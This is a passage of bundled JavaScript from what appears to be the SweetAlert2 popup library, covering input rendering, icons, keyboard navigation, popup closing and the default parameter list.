  1982. for (let i = 0; i < input.attributes.length; i++) {
  1983. const attrName = input.attributes[i].name;
  1984. if (!["type", "value", "style"].includes(attrName)) {
  1985. input.removeAttribute(attrName);
  1986. }
  1987. }
  1988. };
  1989. const setAttributes = (inputClass, inputAttributes) => {
  1990. const input = getInput$1(getPopup(), inputClass);
  1991. if (!input) {
  1992. return;
  1993. }
  1994. removeAttributes(input);
  1995. for (const attr in inputAttributes) {
  1996. input.setAttribute(attr, inputAttributes[attr]);
  1997. }
  1998. };
  1999. const setCustomClass = (params) => {
  2000. const inputContainer = getInputContainer(params.input);
  2001. if (typeof params.customClass === "object") {
  2002. addClass(inputContainer, params.customClass.input);
  2003. }
  2004. };
  2005. const setInputPlaceholder = (input, params) => {
  2006. if (!input.placeholder || params.inputPlaceholder) {
  2007. input.placeholder = params.inputPlaceholder;
  2008. }
  2009. };
  2010. const setInputLabel = (input, prependTo, params) => {
  2011. if (params.inputLabel) {
  2012. input.id = swalClasses.input;
  2013. const label = document.createElement("label");
  2014. const labelClass = swalClasses["input-label"];
  2015. label.setAttribute("for", input.id);
  2016. label.className = labelClass;
  2017. if (typeof params.customClass === "object") {
  2018. addClass(label, params.customClass.inputLabel);
  2019. }
  2020. label.innerText = params.inputLabel;
  2021. prependTo.insertAdjacentElement("beforebegin", label);
  2022. }
  2023. };
  2024. const getInputContainer = (inputType) => {
  2025. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  2026. };
  2027. const checkAndSetInputValue = (input, inputValue) => {
  2028. if (["string", "number"].includes(typeof inputValue)) {
  2029. input.value = `${inputValue}`;
  2030. } else if (!isPromise(inputValue)) {
  2031. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  2032. }
  2033. };
  2034. const renderInputType = {};
  2035. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  2036. checkAndSetInputValue(input, params.inputValue);
  2037. setInputLabel(input, input, params);
  2038. setInputPlaceholder(input, params);
  2039. input.type = params.input;
  2040. return input;
  2041. };
  2042. renderInputType.file = (input, params) => {
  2043. setInputLabel(input, input, params);
  2044. setInputPlaceholder(input, params);
  2045. return input;
  2046. };
  2047. renderInputType.range = (range, params) => {
  2048. const rangeInput = range.querySelector("input");
  2049. const rangeOutput = range.querySelector("output");
  2050. checkAndSetInputValue(rangeInput, params.inputValue);
  2051. rangeInput.type = params.input;
  2052. checkAndSetInputValue(rangeOutput, params.inputValue);
  2053. setInputLabel(rangeInput, range, params);
  2054. return range;
  2055. };
  2056. renderInputType.select = (select, params) => {
  2057. select.textContent = "";
  2058. if (params.inputPlaceholder) {
  2059. const placeholder = document.createElement("option");
  2060. setInnerHtml(placeholder, params.inputPlaceholder);
  2061. placeholder.value = "";
  2062. placeholder.disabled = true;
  2063. placeholder.selected = true;
  2064. select.appendChild(placeholder);
  2065. }
  2066. setInputLabel(select, select, params);
  2067. return select;
  2068. };
  2069. renderInputType.radio = (radio) => {
  2070. radio.textContent = "";
  2071. return radio;
  2072. };
  2073. renderInputType.checkbox = (checkboxContainer, params) => {
  2074. const checkbox = getInput$1(getPopup(), "checkbox");
  2075. checkbox.value = "1";
  2076. checkbox.id = swalClasses.checkbox;
  2077. checkbox.checked = Boolean(params.inputValue);
  2078. const label = checkboxContainer.querySelector("span");
  2079. setInnerHtml(label, params.inputPlaceholder);
  2080. return checkbox;
  2081. };
  2082. renderInputType.textarea = (textarea, params) => {
  2083. checkAndSetInputValue(textarea, params.inputValue);
  2084. setInputPlaceholder(textarea, params);
  2085. setInputLabel(textarea, textarea, params);
  2086. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  2087. setTimeout(() => {
  2088. if ("MutationObserver" in window) {
  2089. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  2090. const textareaResizeHandler = () => {
  2091. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  2092. if (textareaWidth > initialPopupWidth) {
  2093. getPopup().style.width = `${textareaWidth}px`;
  2094. } else {
  2095. getPopup().style.width = null;
  2096. }
  2097. };
  2098. new MutationObserver(textareaResizeHandler).observe(textarea, {
  2099. attributes: true,
  2100. attributeFilter: ["style"]
  2101. });
  2102. }
  2103. });
  2104. return textarea;
  2105. };
  2106. const renderContent = (instance, params) => {
  2107. const htmlContainer = getHtmlContainer();
  2108. applyCustomClass(htmlContainer, params, "htmlContainer");
  2109. if (params.html) {
  2110. parseHtmlToContainer(params.html, htmlContainer);
  2111. show(htmlContainer, "block");
  2112. } else if (params.text) {
  2113. htmlContainer.textContent = params.text;
  2114. show(htmlContainer, "block");
  2115. } else {
  2116. hide(htmlContainer);
  2117. }
  2118. renderInput(instance, params);
  2119. };
  2120. const renderFooter = (instance, params) => {
  2121. const footer = getFooter();
  2122. toggle(footer, params.footer);
  2123. if (params.footer) {
  2124. parseHtmlToContainer(params.footer, footer);
  2125. }
  2126. applyCustomClass(footer, params, "footer");
  2127. };
  2128. const renderIcon = (instance, params) => {
  2129. const innerParams = privateProps.innerParams.get(instance);
  2130. const icon = getIcon();
  2131. if (innerParams && params.icon === innerParams.icon) {
  2132. setContent(icon, params);
  2133. applyStyles(icon, params);
  2134. return;
  2135. }
  2136. if (!params.icon && !params.iconHtml) {
  2137. hide(icon);
  2138. return;
  2139. }
  2140. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  2141. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  2142. hide(icon);
  2143. return;
  2144. }
  2145. show(icon);
  2146. setContent(icon, params);
  2147. applyStyles(icon, params);
  2148. addClass(icon, params.showClass.icon);
  2149. };
  2150. const applyStyles = (icon, params) => {
  2151. for (const iconType in iconTypes) {
  2152. if (params.icon !== iconType) {
  2153. removeClass(icon, iconTypes[iconType]);
  2154. }
  2155. }
  2156. addClass(icon, iconTypes[params.icon]);
  2157. setColor(icon, params);
  2158. adjustSuccessIconBackgroundColor();
  2159. applyCustomClass(icon, params, "icon");
  2160. };
  2161. const adjustSuccessIconBackgroundColor = () => {
  2162. const popup = getPopup();
  2163. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  2164. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  2165. for (let i = 0; i < successIconParts.length; i++) {
  2166. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  2167. }
  2168. };
  2169. const successIconHtml = `
  2170. <div class="swal2-success-circular-line-left"></div>
  2171. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  2172. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  2173. <div class="swal2-success-circular-line-right"></div>
  2174. `;
  2175. const errorIconHtml = `
  2176. <span class="swal2-x-mark">
  2177. <span class="swal2-x-mark-line-left"></span>
  2178. <span class="swal2-x-mark-line-right"></span>
  2179. </span>
  2180. `;
  2181. const setContent = (icon, params) => {
  2182. let oldContent = icon.innerHTML;
  2183. let newContent;
  2184. if (params.iconHtml) {
  2185. newContent = iconContent(params.iconHtml);
  2186. } else if (params.icon === "success") {
  2187. newContent = successIconHtml;
  2188. oldContent = oldContent.replace(/ style=".*?"/g, "");
  2189. } else if (params.icon === "error") {
  2190. newContent = errorIconHtml;
  2191. } else {
  2192. const defaultIconHtml = {
  2193. question: "?",
  2194. warning: "!",
  2195. info: "i"
  2196. };
  2197. newContent = iconContent(defaultIconHtml[params.icon]);
  2198. }
  2199. if (oldContent.trim() !== newContent.trim()) {
  2200. setInnerHtml(icon, newContent);
  2201. }
  2202. };
  2203. const setColor = (icon, params) => {
  2204. if (!params.iconColor) {
  2205. return;
  2206. }
  2207. icon.style.color = params.iconColor;
  2208. icon.style.borderColor = params.iconColor;
  2209. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  2210. setStyle(icon, sel, "backgroundColor", params.iconColor);
  2211. }
  2212. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  2213. };
  2214. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  2215. const renderImage = (instance, params) => {
  2216. const image = getImage();
  2217. if (!params.imageUrl) {
  2218. hide(image);
  2219. return;
  2220. }
  2221. show(image, "");
  2222. image.setAttribute("src", params.imageUrl);
  2223. image.setAttribute("alt", params.imageAlt);
  2224. applyNumericalStyle(image, "width", params.imageWidth);
  2225. applyNumericalStyle(image, "height", params.imageHeight);
  2226. image.className = swalClasses.image;
  2227. applyCustomClass(image, params, "image");
  2228. };
  2229. const renderPopup = (instance, params) => {
  2230. const container = getContainer();
  2231. const popup = getPopup();
  2232. if (params.toast) {
  2233. applyNumericalStyle(container, "width", params.width);
  2234. popup.style.width = "100%";
  2235. popup.insertBefore(getLoader(), getIcon());
  2236. } else {
  2237. applyNumericalStyle(popup, "width", params.width);
  2238. }
  2239. applyNumericalStyle(popup, "padding", params.padding);
  2240. if (params.color) {
  2241. popup.style.color = params.color;
  2242. }
  2243. if (params.background) {
  2244. popup.style.background = params.background;
  2245. }
  2246. hide(getValidationMessage());
  2247. addClasses$1(popup, params);
  2248. };
  2249. const addClasses$1 = (popup, params) => {
  2250. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? params.showClass.popup : ""}`;
  2251. if (params.toast) {
  2252. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  2253. addClass(popup, swalClasses.toast);
  2254. } else {
  2255. addClass(popup, swalClasses.modal);
  2256. }
  2257. applyCustomClass(popup, params, "popup");
  2258. if (typeof params.customClass === "string") {
  2259. addClass(popup, params.customClass);
  2260. }
  2261. if (params.icon) {
  2262. addClass(popup, swalClasses[`icon-${params.icon}`]);
  2263. }
  2264. };
  2265. const renderProgressSteps = (instance, params) => {
  2266. const progressStepsContainer = getProgressSteps();
  2267. if (!params.progressSteps || params.progressSteps.length === 0) {
  2268. hide(progressStepsContainer);
  2269. return;
  2270. }
  2271. show(progressStepsContainer);
  2272. progressStepsContainer.textContent = "";
  2273. if (params.currentProgressStep >= params.progressSteps.length) {
  2274. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  2275. }
  2276. params.progressSteps.forEach((step, index) => {
  2277. const stepEl = createStepElement(step);
  2278. progressStepsContainer.appendChild(stepEl);
  2279. if (index === params.currentProgressStep) {
  2280. addClass(stepEl, swalClasses["active-progress-step"]);
  2281. }
  2282. if (index !== params.progressSteps.length - 1) {
  2283. const lineEl = createLineElement(params);
  2284. progressStepsContainer.appendChild(lineEl);
  2285. }
  2286. });
  2287. };
  2288. const createStepElement = (step) => {
  2289. const stepEl = document.createElement("li");
  2290. addClass(stepEl, swalClasses["progress-step"]);
  2291. setInnerHtml(stepEl, step);
  2292. return stepEl;
  2293. };
  2294. const createLineElement = (params) => {
  2295. const lineEl = document.createElement("li");
  2296. addClass(lineEl, swalClasses["progress-step-line"]);
  2297. if (params.progressStepsDistance) {
  2298. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  2299. }
  2300. return lineEl;
  2301. };
  2302. const renderTitle = (instance, params) => {
  2303. const title = getTitle();
  2304. toggle(title, params.title || params.titleText, "block");
  2305. if (params.title) {
  2306. parseHtmlToContainer(params.title, title);
  2307. }
  2308. if (params.titleText) {
  2309. title.innerText = params.titleText;
  2310. }
  2311. applyCustomClass(title, params, "title");
  2312. };
  2313. const render = (instance, params) => {
  2314. renderPopup(instance, params);
  2315. renderContainer(instance, params);
  2316. renderProgressSteps(instance, params);
  2317. renderIcon(instance, params);
  2318. renderImage(instance, params);
  2319. renderTitle(instance, params);
  2320. renderCloseButton(instance, params);
  2321. renderContent(instance, params);
  2322. renderActions(instance, params);
  2323. renderFooter(instance, params);
  2324. if (typeof params.didRender === "function") {
  2325. params.didRender(getPopup());
  2326. }
  2327. };
  2328. function hideLoading() {
  2329. const innerParams = privateProps.innerParams.get(this);
  2330. if (!innerParams) {
  2331. return;
  2332. }
  2333. const domCache = privateProps.domCache.get(this);
  2334. hide(domCache.loader);
  2335. if (isToast()) {
  2336. if (innerParams.icon) {
  2337. show(getIcon());
  2338. }
  2339. } else {
  2340. showRelatedButton(domCache);
  2341. }
  2342. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2343. domCache.popup.removeAttribute("aria-busy");
  2344. domCache.popup.removeAttribute("data-loading");
  2345. domCache.confirmButton.disabled = false;
  2346. domCache.denyButton.disabled = false;
  2347. domCache.cancelButton.disabled = false;
  2348. }
  2349. const showRelatedButton = (domCache) => {
  2350. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2351. if (buttonToReplace.length) {
  2352. show(buttonToReplace[0], "inline-block");
  2353. } else if (allButtonsAreHidden()) {
  2354. hide(domCache.actions);
  2355. }
  2356. };
  2357. function getInput(instance) {
  2358. const innerParams = privateProps.innerParams.get(instance || this);
  2359. const domCache = privateProps.domCache.get(instance || this);
  2360. if (!domCache) {
  2361. return null;
  2362. }
  2363. return getInput$1(domCache.popup, innerParams.input);
  2364. }
  2365. const isVisible = () => {
  2366. return isVisible$1(getPopup());
  2367. };
  2368. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  2369. const clickDeny = () => getDenyButton() && getDenyButton().click();
  2370. const clickCancel = () => getCancelButton() && getCancelButton().click();
  2371. const DismissReason = Object.freeze({
  2372. cancel: "cancel",
  2373. backdrop: "backdrop",
  2374. close: "close",
  2375. esc: "esc",
  2376. timer: "timer"
  2377. });
  2378. const removeKeydownHandler = (globalState2) => {
  2379. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  2380. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  2381. capture: globalState2.keydownListenerCapture
  2382. });
  2383. globalState2.keydownHandlerAdded = false;
  2384. }
  2385. };
  2386. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  2387. removeKeydownHandler(globalState2);
  2388. if (!innerParams.toast) {
  2389. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  2390. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  2391. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  2392. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  2393. capture: globalState2.keydownListenerCapture
  2394. });
  2395. globalState2.keydownHandlerAdded = true;
  2396. }
  2397. };
  2398. const setFocus = (index, increment) => {
  2399. const focusableElements = getFocusableElements();
  2400. if (focusableElements.length) {
  2401. index = index + increment;
  2402. if (index === focusableElements.length) {
  2403. index = 0;
  2404. } else if (index === -1) {
  2405. index = focusableElements.length - 1;
  2406. }
  2407. focusableElements[index].focus();
  2408. return;
  2409. }
  2410. getPopup().focus();
  2411. };
  2412. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  2413. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  2414. const keydownHandler = (instance, event, dismissWith) => {
  2415. const innerParams = privateProps.innerParams.get(instance);
  2416. if (!innerParams) {
  2417. return;
  2418. }
  2419. if (event.isComposing || event.keyCode === 229) {
  2420. return;
  2421. }
  2422. if (innerParams.stopKeydownPropagation) {
  2423. event.stopPropagation();
  2424. }
  2425. if (event.key === "Enter") {
  2426. handleEnter(instance, event, innerParams);
  2427. } else if (event.key === "Tab") {
  2428. handleTab(event);
  2429. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  2430. handleArrows(event.key);
  2431. } else if (event.key === "Escape") {
  2432. handleEsc(event, innerParams, dismissWith);
  2433. }
  2434. };
  2435. const handleEnter = (instance, event, innerParams) => {
  2436. if (!callIfFunction(innerParams.allowEnterKey)) {
  2437. return;
  2438. }
  2439. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  2440. if (["textarea", "file"].includes(innerParams.input)) {
  2441. return;
  2442. }
  2443. clickConfirm();
  2444. event.preventDefault();
  2445. }
  2446. };
  2447. const handleTab = (event) => {
  2448. const targetElement = event.target;
  2449. const focusableElements = getFocusableElements();
  2450. let btnIndex = -1;
  2451. for (let i = 0; i < focusableElements.length; i++) {
  2452. if (targetElement === focusableElements[i]) {
  2453. btnIndex = i;
  2454. break;
  2455. }
  2456. }
  2457. if (!event.shiftKey) {
  2458. setFocus(btnIndex, 1);
  2459. } else {
  2460. setFocus(btnIndex, -1);
  2461. }
  2462. event.stopPropagation();
  2463. event.preventDefault();
  2464. };
  2465. const handleArrows = (key) => {
  2466. const confirmButton = getConfirmButton();
  2467. const denyButton = getDenyButton();
  2468. const cancelButton = getCancelButton();
  2469. if (document.activeElement instanceof HTMLElement && ![confirmButton, denyButton, cancelButton].includes(document.activeElement)) {
  2470. return;
  2471. }
  2472. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  2473. let buttonToFocus = document.activeElement;
  2474. for (let i = 0; i < getActions().children.length; i++) {
  2475. buttonToFocus = buttonToFocus[sibling];
  2476. if (!buttonToFocus) {
  2477. return;
  2478. }
  2479. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  2480. break;
  2481. }
  2482. }
  2483. if (buttonToFocus instanceof HTMLButtonElement) {
  2484. buttonToFocus.focus();
  2485. }
  2486. };
  2487. const handleEsc = (event, innerParams, dismissWith) => {
  2488. if (callIfFunction(innerParams.allowEscapeKey)) {
  2489. event.preventDefault();
  2490. dismissWith(DismissReason.esc);
  2491. }
  2492. };
  2493. var privateMethods = {
  2494. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
  2495. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  2496. };
  2497. const setAriaHidden = () => {
  2498. const bodyChildren = Array.from(document.body.children);
  2499. bodyChildren.forEach((el) => {
  2500. if (el === getContainer() || el.contains(getContainer())) {
  2501. return;
  2502. }
  2503. if (el.hasAttribute("aria-hidden")) {
  2504. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden"));
  2505. }
  2506. el.setAttribute("aria-hidden", "true");
  2507. });
  2508. };
  2509. const unsetAriaHidden = () => {
  2510. const bodyChildren = Array.from(document.body.children);
  2511. bodyChildren.forEach((el) => {
  2512. if (el.hasAttribute("data-previous-aria-hidden")) {
  2513. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden"));
  2514. el.removeAttribute("data-previous-aria-hidden");
  2515. } else {
  2516. el.removeAttribute("aria-hidden");
  2517. }
  2518. });
  2519. };
  2520. const iOSfix = () => {
  2521. const iOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream || navigator.platform === "MacIntel" && navigator.maxTouchPoints > 1;
  2522. if (iOS && !hasClass(document.body, swalClasses.iosfix)) {
  2523. const offset = document.body.scrollTop;
  2524. document.body.style.top = `${offset * -1}px`;
  2525. addClass(document.body, swalClasses.iosfix);
  2526. lockBodyScroll();
  2527. addBottomPaddingForTallPopups();
  2528. }
  2529. };
  2530. const addBottomPaddingForTallPopups = () => {
  2531. const ua = navigator.userAgent;
  2532. const iOS = !!ua.match(/iPad/i) || !!ua.match(/iPhone/i);
  2533. const webkit = !!ua.match(/WebKit/i);
  2534. const iOSSafari = iOS && webkit && !ua.match(/CriOS/i);
  2535. if (iOSSafari) {
  2536. const bottomPanelHeight = 44;
  2537. if (getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) {
  2538. getContainer().style.paddingBottom = `${bottomPanelHeight}px`;
  2539. }
  2540. }
  2541. };
  2542. const lockBodyScroll = () => {
  2543. const container = getContainer();
  2544. let preventTouchMove;
  2545. container.ontouchstart = (event) => {
  2546. preventTouchMove = shouldPreventTouchMove(event);
  2547. };
  2548. container.ontouchmove = (event) => {
  2549. if (preventTouchMove) {
  2550. event.preventDefault();
  2551. event.stopPropagation();
  2552. }
  2553. };
  2554. };
  2555. const shouldPreventTouchMove = (event) => {
  2556. const target = event.target;
  2557. const container = getContainer();
  2558. if (isStylus(event) || isZoom(event)) {
  2559. return false;
  2560. }
  2561. if (target === container) {
  2562. return true;
  2563. }
  2564. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && target.tagName !== "TEXTAREA" && !(isScrollable(getHtmlContainer()) && getHtmlContainer().contains(target))) {
  2565. return true;
  2566. }
  2567. return false;
  2568. };
  2569. const isStylus = (event) => {
  2570. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  2571. };
  2572. const isZoom = (event) => {
  2573. return event.touches && event.touches.length > 1;
  2574. };
  2575. const undoIOSfix = () => {
  2576. if (hasClass(document.body, swalClasses.iosfix)) {
  2577. const offset = parseInt(document.body.style.top, 10);
  2578. removeClass(document.body, swalClasses.iosfix);
  2579. document.body.style.top = "";
  2580. document.body.scrollTop = offset * -1;
  2581. }
  2582. };
  2583. const fixScrollbar = () => {
  2584. if (states.previousBodyPadding !== null) {
  2585. return;
  2586. }
  2587. if (document.body.scrollHeight > window.innerHeight) {
  2588. states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  2589. document.body.style.paddingRight = `${states.previousBodyPadding + measureScrollbar()}px`;
  2590. }
  2591. };
  2592. const undoScrollbar = () => {
  2593. if (states.previousBodyPadding !== null) {
  2594. document.body.style.paddingRight = `${states.previousBodyPadding}px`;
  2595. states.previousBodyPadding = null;
  2596. }
  2597. };
  2598. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  2599. if (isToast()) {
  2600. triggerDidCloseAndDispose(instance, didClose);
  2601. } else {
  2602. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  2603. removeKeydownHandler(globalState);
  2604. }
  2605. const isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);
  2606. if (isSafari) {
  2607. container.setAttribute("style", "display:none !important");
  2608. container.removeAttribute("class");
  2609. container.innerHTML = "";
  2610. } else {
  2611. container.remove();
  2612. }
  2613. if (isModal()) {
  2614. undoScrollbar();
  2615. undoIOSfix();
  2616. unsetAriaHidden();
  2617. }
  2618. removeBodyClasses();
  2619. }
  2620. function removeBodyClasses() {
  2621. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  2622. }
  2623. function close(resolveValue) {
  2624. resolveValue = prepareResolveValue(resolveValue);
  2625. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  2626. const didClose = triggerClosePopup(this);
  2627. if (this.isAwaitingPromise()) {
  2628. if (!resolveValue.isDismissed) {
  2629. handleAwaitingPromise(this);
  2630. swalPromiseResolve(resolveValue);
  2631. }
  2632. } else if (didClose) {
  2633. swalPromiseResolve(resolveValue);
  2634. }
  2635. }
  2636. function isAwaitingPromise() {
  2637. return !!privateProps.awaitingPromise.get(this);
  2638. }
  2639. const triggerClosePopup = (instance) => {
  2640. const popup = getPopup();
  2641. if (!popup) {
  2642. return false;
  2643. }
  2644. const innerParams = privateProps.innerParams.get(instance);
  2645. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  2646. return false;
  2647. }
  2648. removeClass(popup, innerParams.showClass.popup);
  2649. addClass(popup, innerParams.hideClass.popup);
  2650. const backdrop = getContainer();
  2651. removeClass(backdrop, innerParams.showClass.backdrop);
  2652. addClass(backdrop, innerParams.hideClass.backdrop);
  2653. handlePopupAnimation(instance, popup, innerParams);
  2654. return true;
  2655. };
  2656. function rejectPromise(error2) {
  2657. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
  2658. handleAwaitingPromise(this);
  2659. if (rejectPromise2) {
  2660. rejectPromise2(error2);
  2661. }
  2662. }
  2663. const handleAwaitingPromise = (instance) => {
  2664. if (instance.isAwaitingPromise()) {
  2665. privateProps.awaitingPromise.delete(instance);
  2666. if (!privateProps.innerParams.get(instance)) {
  2667. instance._destroy();
  2668. }
  2669. }
  2670. };
  2671. const prepareResolveValue = (resolveValue) => {
  2672. if (typeof resolveValue === "undefined") {
  2673. return {
  2674. isConfirmed: false,
  2675. isDenied: false,
  2676. isDismissed: true
  2677. };
  2678. }
  2679. return Object.assign({
  2680. isConfirmed: false,
  2681. isDenied: false,
  2682. isDismissed: false
  2683. }, resolveValue);
  2684. };
  2685. const handlePopupAnimation = (instance, popup, innerParams) => {
  2686. const container = getContainer();
  2687. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
  2688. if (typeof innerParams.willClose === "function") {
  2689. innerParams.willClose(popup);
  2690. }
  2691. if (animationIsSupported) {
  2692. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  2693. } else {
  2694. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  2695. }
  2696. };
  2697. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  2698. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  2699. popup.addEventListener(animationEndEvent, function(e) {
  2700. if (e.target === popup) {
  2701. globalState.swalCloseEventFinishedCallback();
  2702. delete globalState.swalCloseEventFinishedCallback;
  2703. }
  2704. });
  2705. };
  2706. const triggerDidCloseAndDispose = (instance, didClose) => {
  2707. setTimeout(() => {
  2708. if (typeof didClose === "function") {
  2709. didClose.bind(instance.params)();
  2710. }
  2711. instance._destroy();
  2712. });
  2713. };
  2714. function setButtonsDisabled(instance, buttons, disabled) {
  2715. const domCache = privateProps.domCache.get(instance);
  2716. buttons.forEach((button) => {
  2717. domCache[button].disabled = disabled;
  2718. });
  2719. }
  2720. function setInputDisabled(input, disabled) {
  2721. if (!input) {
  2722. return;
  2723. }
  2724. if (input.type === "radio") {
  2725. const radiosContainer = input.parentNode.parentNode;
  2726. const radios = radiosContainer.querySelectorAll("input");
  2727. for (let i = 0; i < radios.length; i++) {
  2728. radios[i].disabled = disabled;
  2729. }
  2730. } else {
  2731. input.disabled = disabled;
  2732. }
  2733. }
  2734. function enableButtons() {
  2735. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2736. }
  2737. function disableButtons() {
  2738. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2739. }
  2740. function enableInput() {
  2741. setInputDisabled(this.getInput(), false);
  2742. }
  2743. function disableInput() {
  2744. setInputDisabled(this.getInput(), true);
  2745. }
  2746. function showValidationMessage(error2) {
  2747. const domCache = privateProps.domCache.get(this);
  2748. const params = privateProps.innerParams.get(this);
  2749. setInnerHtml(domCache.validationMessage, error2);
  2750. domCache.validationMessage.className = swalClasses["validation-message"];
  2751. if (params.customClass && params.customClass.validationMessage) {
  2752. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2753. }
  2754. show(domCache.validationMessage);
  2755. const input = this.getInput();
  2756. if (input) {
  2757. input.setAttribute("aria-invalid", true);
  2758. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2759. focusInput(input);
  2760. addClass(input, swalClasses.inputerror);
  2761. }
  2762. }
  2763. function resetValidationMessage() {
  2764. const domCache = privateProps.domCache.get(this);
  2765. if (domCache.validationMessage) {
  2766. hide(domCache.validationMessage);
  2767. }
  2768. const input = this.getInput();
  2769. if (input) {
  2770. input.removeAttribute("aria-invalid");
  2771. input.removeAttribute("aria-describedby");
  2772. removeClass(input, swalClasses.inputerror);
  2773. }
  2774. }
  2775. const defaultParams = {
  2776. title: "",
  2777. titleText: "",
  2778. text: "",
  2779. html: "",
  2780. footer: "",
  2781. icon: void 0,
  2782. iconColor: void 0,
  2783. iconHtml: void 0,
  2784. template: void 0,
  2785. toast: false,
  2786. showClass: {
  2787. popup: "swal2-show",
  2788. backdrop: "swal2-backdrop-show",
  2789. icon: "swal2-icon-show"
  2790. },
  2791. hideClass: {
  2792. popup: "swal2-hide",
  2793. backdrop: "swal2-backdrop-hide",
  2794. icon: "swal2-icon-hide"
  2795. },
  2796. customClass: {},
  2797. target: "body",
  2798. color: void 0,
  2799. backdrop: true,
  2800. heightAuto: true,
  2801. allowOutsideClick: true,
  2802. allowEscapeKey: true,
  2803. allowEnterKey: true,
  2804. stopKeydownPropagation: true,
  2805. keydownListenerCapture: false,
  2806. showConfirmButton: true,
  2807. showDenyButton: false,
  2808. showCancelButton: false,
  2809. preConfirm: void 0,
  2810. preDeny: void 0,
  2811. confirmButtonText: "OK",
  2812. confirmButtonAriaLabel: "",
  2813. confirmButtonColor: void 0,
  2814. denyButtonText: "No",
  2815. denyButtonAriaLabel: "",
  2816. denyButtonColor: void 0,
  2817. cancelButtonText: "Cancel",
  2818. cancelButtonAriaLabel: "",
  2819. cancelButtonColor: void 0,
  2820. buttonsStyling: true,
  2821. reverseButtons: false,
  2822. focusConfirm: true,
  2823. focusDeny: false,
  2824. focusCancel: false,
  2825. returnFocus: true,
  2826. showCloseButton: false,
  2827. closeButtonHtml: "&times;",
  2828. closeButtonAriaLabel: "Close this dialog",
  2829. loaderHtml: "",
  2830. showLoaderOnConfirm: false,
  2831. showLoaderOnDeny: false,
  2832. imageUrl: void 0,
  2833. imageWidth: void 0,
  2834. imageHeight: void 0,
  2835. imageAlt: "",
  2836. timer: void 0,
  2837. timerProgressBar: false,
  2838. width: void 0,
  2839. padding: void 0,
  2840. background: void 0,
  2841. input: void 0,
  2842. inputPlaceholder: "",
  2843. inputLabel: "",
  2844. inputValue: "",
  2845. inputOptions: {},
  2846. inputAutoTrim: true,
  2847. inputAttributes: {},
  2848. inputValidator: void 0,
  2849. returnInputValueOnDeny: false,
  2850. validationMessage: void 0,
  2851. grow: false,
  2852. position: "center",
  2853. progressSteps: [],
  2854. currentProgressStep: void 0,
